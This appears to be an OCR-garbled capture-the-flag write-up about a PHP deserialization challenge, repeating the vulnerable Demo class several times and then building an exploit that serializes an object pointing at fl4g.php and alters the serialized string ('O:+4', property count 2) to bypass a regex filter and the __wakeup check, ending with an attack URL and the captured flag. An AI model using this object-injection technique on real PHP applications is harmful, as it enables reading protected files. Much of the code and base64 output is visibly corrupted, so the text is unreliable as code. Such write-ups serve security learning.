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<?php
class Demo |
private 5file = 'index.php';
public function _ construct($5file) {
Sthis->file = 5file;
function  destruct() {

echo @fhighlight file($this->file, true);

function _ wakeup ()
if ($this->file != 'index.php')

Sthis->file = 'index.php';

if (isset($_GET['wvar'l))
Svar = baseb64_decode (5_GET['var']);

if (preg match('/[ocl:\d+:/1', Swvar)) {
die('stop hacking!');
b oelse |

Bunserialize ($var);

3 elée {
highlight file("index.php"):;
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<?php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;
}
function _ destruct() {
echo @highlight_file($this->file, true);

}
function __ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}

}
if (isset($_GET['var']l)) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');

} else {
@unserialize($var);
}
} else {

highlight_file("index.php");
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<?php
class Demo |
private 5file = 'index.php';
public function _ construct ($file) {
Sthis->file = $file;
}
function  destruct() {
echo fhighlight file ($this->file, true);
3
function _ wakeup ()
if (Sthis->file != 'index.php')
Sthis->file = 'index.php';
}
3
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if (isset (% _GET['war'l)) {
Svar = base64 decode($ GET['war'l):
if (preg match('/[oc]:\d+:/1i', Svar)) {
die ('stop hacking!');
} else {
funserialize ($var) ;
}
} else {
highlight file("index.php"):
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<?php
class Demo {
private $file = 'index.php';
public function __ construct($file) {
$this->file = $file;
}
function _ destruct() {
echo @highlight file($this->file, true);
}
function __ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';

$a=new Demo('fl4g.php');
$b=serialize($a);

echo $b;

?>

{?php 0:4:"Demn”: 1t (5:10: "Demofile”; s:8: "£14e. php” ;)
class Demo {
private $file = 'index. php';
public function _ construct ($file) {
$this—>file = $file;

function _ destruct() {
echo @highlight file($this—>file, true):

function _ wakeup() {
if ($this->file != 'index.php’) {
the secret is in the fldg. php
$this—>file = ' index. php’ :

$a=new Demo (' f14g. php' ) :
$b=serialize(Sa) ;
echo $b:
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0:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
Sed IR X BEHUIR /[oc]:\d+:/1

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fld4g.php";}
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?php

$a="0:+4:"Demo”:2: {5:10: "Demofile”:s:8:"fldg php”:}" :
var_dump (base64_encode($a)) ;
o
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<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function _ destruct() {
echo @highlight file($this->file, true);

}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
¥
¥

$a=new Demo( 'fl4g.php');
$b=serialize($a);

echo $b;
$b=str_replace('0:4','0:+4"',$b);
$b=str_replace(':1:',':2:',$b);
var_dump($b);

var_dump (base64_encode($b));

?>

string(64) “TzorNDoiRGVtbyl6MipTezoxiDoiRGVtb2ZpbGli03NE0D0i ZuwlZybwaAiO30="
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$this—>file = $file;

function _ destruct() {

echo @highlight_file($this—>file, true);

function _ wakeup() {
if ($this—>file != "index. php’) {
the secret is in the fldg. php
$this—>file = "index. php’ :

$a=new Demo (' f14g. php') ;
$b=serialize ($a);

echo $b;

$b=str_replace (' 0:4", 0:+4",$h):
$h=str_replace (' :1:",7:2:",8b);
var_dump ($b) ;

var_dump (base64_encode (§b)) ;

C O 8 111.200.241.244:60153/?var=TzorNDoiRGVtbyl6Mjp7 czoxMDoiAERIbWSAZmIsZS17czo40iJmbDRnLnBocCI7fQ==

0:4:"Demn”:1: {5:10: "Demofile” 5:8:"f14g, php” ;) string (48) “0:+d:"Dema”:2: (5:10:"Demofile”; =:8: “t14g. php”;]”

string(68) “TzorNDoiRGVibyl6M jp7czoxlDoiARR1bY8AZml 281 7czod0i JnbDRnLnBocCI 7£0==
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<?php

$flag="ctf{bl7bd4c7-34c5%-4526-8fa8-a0794a1%7013}";
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